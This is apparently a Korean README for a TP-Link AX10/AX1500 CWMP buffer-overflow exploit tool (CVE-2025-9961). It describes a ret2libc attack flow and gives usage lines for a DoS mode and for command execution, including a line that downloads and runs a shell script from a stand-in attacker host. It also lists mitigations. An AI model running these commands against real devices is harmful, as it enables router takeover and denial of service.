CVE-2025-9961

TP-Link AX10/AX1500 CWMP 버퍼 오버플로 RCE

개요

CWMP(TR-069)의 스택 기반 버퍼 오버플로로 인해 원격 코드 실행이 가능합니다.

공격 흐름

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

기술 세부 사항

이 취약점은 cwmp 프로세스가 SetParameterValues SOAP 요청을 처리할 때 발생합니다. 입력 값이 경계 검사 없이 버퍼 크기를 계산하는 데 사용됩니다.

익스플로잇:

• ret2libc를 사용하여 system() 호출
• 무차별 대입을 통한 ASLR 우회
• 서비스 재시작으로 반복 시도 가능

사용법

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

파라미터

요구 사항

없음 (표준 라이브러리 사용)

완화 조치

• 패치된 펌웨어로 업데이트
• TR-069/CWMP 비활성화
• 포트 7547 접근 제한

고지 사항

승인된 보안 테스트에만 사용하십시오.